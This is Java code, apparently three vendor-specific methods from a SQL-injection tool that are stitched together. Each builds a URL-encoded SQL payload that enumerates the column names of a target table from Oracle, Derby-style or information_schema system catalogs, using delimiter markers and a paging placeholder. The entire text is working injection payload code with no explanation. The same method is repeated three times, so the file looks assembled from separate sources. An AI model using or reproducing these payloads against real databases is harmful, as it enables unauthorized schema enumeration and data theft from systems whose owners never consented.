@Override
public String getColumnList(Table table) {
return "select+"
+ "utl_raw.cast_to_varchar2(CAST(DBMS_LOB.SUBSTR(replace("
+ "replace("
+ "XmlAgg("
+ "XmlElement(\"a\",rawtohex('%04'||s||'%050%04'))order+by+s+nulls+last"
+ ").getClobVal(),"
+ "'<a>',''),"
+ "'<%2Fa>',rawtohex('%06'))||rawtohex('%01%03%03%07'),4000,1)AS+VARCHAR(1024)))"
+ "+from(select+t.s+from(SELECT+DISTINCT+column_name+s+"
+ "FROM+all_tab_columns+where+owner='"
+ table.getParent()
+ "'and+table_name='"
+ table
+ "'"
+ ")t,(SELECT+DISTINCT+column_name+s+"
+ "FROM+all_tab_columns+where+owner='"
+ table.getParent()
+ "'and+table_name='"
+ table
+ "'"
+ ")t1+"
+ "where+t.s>=t1.s+"
+ "group+by+t.s+"
+ "{limit})+";
}
@Override
public String getColumnList(Table table) {
return "select+rr||'%01%03%03%07'r+from(select+'%04'||trim(t.COLUMNNAME)||'%050%04'rr+"
+ "from(select+distinct+COLUMNNAME+from+COLUMNS+where+SCHEMANAME='"
+ table.getParent()
+ "'and+TABLENAME='"
+ table
+ "')t,(select+distinct+COLUMNNAME+from+COLUMNS+where+SCHEMANAME='"
+ table.getParent()
+ "'and+TABLENAME='"
+ table
+ "')t1+"
+ "where+t.COLUMNNAME>=t1.COLUMNNAME+"
+ "group+by+t.COLUMNNAME{limit})a";
}
@Override
public String getColumnList(Table table) {
return "select+"
+ "concat("
+ "group_concat("
+ "'%04'||"
+ "convert(n,SQL_VARCHAR)||"
+ "'%05'||"
+ "0||"
+ "'%04'+"
+ "order+by+n+"
+ "separator+'%06'"
+ "),"
+ "'%01%03%03%07'"
+ ")r+"
+ "from("
+ "select+"
+ "COLUMN_NAME+n+"
+ "from+"
+ "information_schema.columns+"
+ "where+"
+ "TABLE_SCHEMA='"
+ table.getParent()
+ "'+"
+ "and+"
+ "TABLE_NAME='"
+ table
+ "'+"
+ "order+by+n{limit}"
+ ")x";
}
